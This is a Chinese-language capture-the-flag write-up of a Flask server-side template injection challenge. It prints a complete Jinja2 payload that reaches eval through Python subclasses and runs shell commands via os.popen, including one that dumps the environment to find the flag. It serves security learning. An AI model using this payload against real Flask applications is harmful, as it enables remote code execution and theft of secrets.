[Flask]SSTI 1

TazmiDev發表於2024-11-15

[Flask]SSTI 1

根據題目判斷這是一道SSTI引數處理不當的漏洞,開啟頁面顯示Hello guest,猜測引數名為user

image-20241105075729539

發現頁面無任何變化,於是嘗試name,成功回顯

image-20241105075804670

嘗試{{2*2}},頁面顯示4,存在SSTI注入

image-20241105075944435

構造payload,成功執行任意程式碼

# payload的解釋:獲取eval函式並執行任意程式碼


?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("任意程式碼執行的地方").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20241105080505597

檢視根目錄(ls /),未發現flag檔案,便猜測在env環境裡面,成功找到flag

?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20241105080921453

相關文章